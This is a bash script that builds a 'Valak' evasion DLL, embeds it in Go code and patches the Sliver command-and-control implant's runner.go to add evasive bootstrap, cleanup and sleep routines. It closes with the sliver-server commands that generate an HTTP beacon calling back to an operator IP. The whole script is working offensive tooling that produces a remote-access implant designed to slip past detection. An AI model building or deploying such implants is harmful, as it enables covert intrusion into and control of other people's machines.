#!/usr/bin/env bash
set -euo pipefail

# ──────────────────────────────────────────────────────────────────────────────
# Valak → Sliver integration script
# ──────────────────────────────────────────────────────────────────────────────
# Builds the Valak DLL, embeds it in go-bridge, patches Sliver's runner.go,
# and builds the implant. Works on Linux and WSL.
#
# Requirements:
#   • Zig (any platform targetting x86_64-windows)
#   • Go with go.mod in the Sliver clone
#   • python3
#
# Usage:
#   ./scripts/integrate.sh <path-to-sliver-clone> [--skip-build]
#
# Examples:
#   ./scripts/integrate.sh ~/projects/sliver
#   ./scripts/integrate.sh ~/projects/sliver --skip-build
#   ZIG=/mnt/c/Zig/zig.exe ./scripts/integrate.sh ~/projects/sliver
# ──────────────────────────────────────────────────────────────────────────────

# ── config ────────────────────────────────────────────────────────────────────
SLIVER_DIR="${1:?Usage: $0 <path-to-sliver-clone> [--skip-build]}"
SKIP_BUILD="${2:-}"
VALAK_DIR="$(cd "$(dirname "$0")/.." && pwd)"
ZIG="${ZIG:-zig}"

# ── helpers ───────────────────────────────────────────────────────────────────
die() { echo "[!] $*" >&2; exit 1; }
info() { echo "[*] $*"; }
ok()   { echo "[+] $*"; }

check_dep() {
  command -v "$1" >/dev/null 2>&1 || die "$1 not found in PATH. Install it or set $2."
}

# ── checks ────────────────────────────────────────────────────────────────────
[[ -d "$SLIVER_DIR" ]] || die "Sliver clone not found at: $SLIVER_DIR"
[[ -f "$SLIVER_DIR/implant/sliver/runner/runner.go" ]] || die "Not a Sliver clone — missing implant/sliver/runner/runner.go"
[[ -f "$VALAK_DIR/evasion/build.zig" ]] || die "Run from Valak repo root (or scripts/ subdir)"

check_dep python3 PYTHON3
check_dep go GO

# Zig is optional if --skip-build is given, required otherwise
if [[ "$SKIP_BUILD" != "--skip-build" ]]; then
  check_dep "$ZIG" ZIG
fi

# ── step 1: build valak dll ───────────────────────────────────────────────────
if [[ "$SKIP_BUILD" != "--skip-build" ]]; then
  info "Building Valak DLL (x86_64-windows, ReleaseFast)..."
  cd "$VALAK_DIR/evasion"
  $ZIG build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
  DLL="$VALAK_DIR/evasion/zig-out/bin/valak.dll"
  [[ -f "$DLL" ]] || die "Build failed — no valak.dll at $DLL"
  ok "valak.dll built ($(stat -c%s "$DLL" 2>/dev/null || wc -c < "$DLL") bytes)"
else
  info "Skipping DLL build (--skip-build). Using existing embed bytes in go-bridge."
fi

# ── step 2: embed dll bytes into go-bridge ────────────────────────────────────
if [[ "$SKIP_BUILD" != "--skip-build" ]]; then
  info "Embedding DLL bytes into go-bridge/embed_dll.go..."
  python3 <<-PYEOF
import os
dll_path = os.path.join("$VALAK_DIR", "evasion", "zig-out", "bin", "valak.dll")
out_path = os.path.join("$VALAK_DIR", "go-bridge", "embed_dll.go")

with open(dll_path, "rb") as f:
    data = f.read()

lines = []
for i in range(0, len(data), 16):
    chunk = data[i:i+16]
    lines.append("\t" + ", ".join(f"0x{b:02x}" for b in chunk) + ",")

content = (
    "//go:build evasion && windows\n"
    "//\n"
    "// Generated by Valak — DO NOT EDIT.\n"
    "package valak\n\n"
    "var embeddedDLL = []byte{\n"
    + "\n".join(lines) + "\n"
    "}\n"
)

with open(out_path, "w") as f:
    f.write(content)
print(f"  wrote {len(data)} bytes to {out_path}")
PYEOF
  ok "embed_dll.go updated"
fi

# ── step 3: copy go-bridge into sliver source tree ────────────────────────────
info "Copying go-bridge to $SLIVER_DIR/implant/sliver/evasion/valak/..."
mkdir -p "$SLIVER_DIR/implant/sliver/evasion/valak"
cp "$VALAK_DIR/go-bridge/"*.go "$SLIVER_DIR/implant/sliver/evasion/valak/"
ok "go-bridge copied"

# ── step 4: patch runner.go ───────────────────────────────────────────────────
RUNNER="$SLIVER_DIR/implant/sliver/runner/runner.go"
info "Patching $RUNNER..."

# Check if already patched
if grep -q 'valak' "$RUNNER" 2>/dev/null; then
  info "  runner.go already contains valak references — checking patches are complete..."

  # Count required patches
  has_bootstrap=$(grep -c 'valak.Bootstrap()' "$RUNNER" 2>/dev/null || echo 0)
  has_cleanup=$(grep -c 'valak.Cleanup()' "$RUNNER" 2>/dev/null || echo 0)
  has_sleep=$(grep -c 'valak.EvasionSleep' "$RUNNER" 2>/dev/null || echo 0)

  if [[ "$has_bootstrap" -ge 1 && "$has_cleanup" -ge 1 && "$has_sleep" -ge 1 ]]; then
    ok "  all valak patches already present — skipping"
  else
    info "  partial patch found — reapplying (may produce duplicates, check manually)"
  fi
fi

python3 <<-PYEOF
content = open("$RUNNER").read()
original = content
changed = False

# 1. Add import
old = 'consts \"github.com/bishopfox/sliver/implant/sliver/constants\"'
new = '\"github.com/bishopfox/sliver/implant/sliver/evasion/valak\"\n\tconsts \"github.com/bishopfox/sliver/implant/sliver/constants\"'
if 'evasion/valak' not in content:
  content = content.replace(old, new, 1)
  changed = True

# 2. Bootstrap in beaconMainLoop
old = 'func beaconMainLoop(beacon *transports.Beacon) error {\n\t// Register beacon\n\terr := beacon.Init()'
new = 'func beaconMainLoop(beacon *transports.Beacon) error {\n\tvalak.Bootstrap()\n\t// Register beacon\n\terr := beacon.Init()'
if 'valak.Bootstrap()' not in content:
  content = content.replace(old, new, 1)
  changed = True

# 3. Cleanup in beaconMainLoop defer
old = '\tdefer func() {\n\t\terr := beacon.Cleanup()'
new = '\tdefer func() {\n\t\tvalak.Cleanup()\n\t\terr := beacon.Cleanup()'
if 'valak.Cleanup()' not in content:
  content = content.replace(old, new, 1)
  changed = True

# 4. Replace sleep block
old = '\t\tselect {\n\t\tcase <-errors:\n\t\t\treturn err\n\t\tcase <-time.After(duration):\n\t\tcase <-shortCircuit:\n\t\t\t// Short circuit current duration with no error\n\t\t}'
new = '\t\tselect {\n\t\tcase err := <-errors:\n\t\t\treturn err\n\t\tcase <-shortCircuit:\n\t\t\t// Short circuit current duration with no error\n\t\tdefault:\n\t\t\tvalak.EvasionSleep(duration)\n\t\t}'
if 'valak.EvasionSleep' not in content:
  content = content.replace(old, new, 1)
  changed = True

if changed:
  open("$RUNNER", "w").write(content)
  print("  runner.go patched")
else:
  print("  runner.go already fully patched — no changes")
PYEOF

ok "runner.go ready"

# ── step 5: verify it compiles ────────────────────────────────────────────────
info "Verifying compilation..."
cd "$SLIVER_DIR"
if GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go vet -tags evasion ./implant/sliver/runner/ 2>&1 | grep -v 'unreachable code'; then
  ok "go vet passed"
fi

# ── step 6: done ──────────────────────────────────────────────────────────────
if [[ "$SKIP_BUILD" == "--skip-build" ]]; then
  info "Skipping implant build (--skip-build)"
fi

ok "source patched — now generate the implant from sliver-server:"
echo ""
echo "   1. sliver-server"
echo "   2. [server] profiles new --beacon --http <YOUR_IP> valak"
echo "   3. [server] generate --profile valak --save /tmp/valak.exe"
echo "   4. [server] jobs --kill 1  (stop default mtls listener)"
echo ""
echo "The generated binary will include Valak's evasion automatically."

echo ""
ok "done"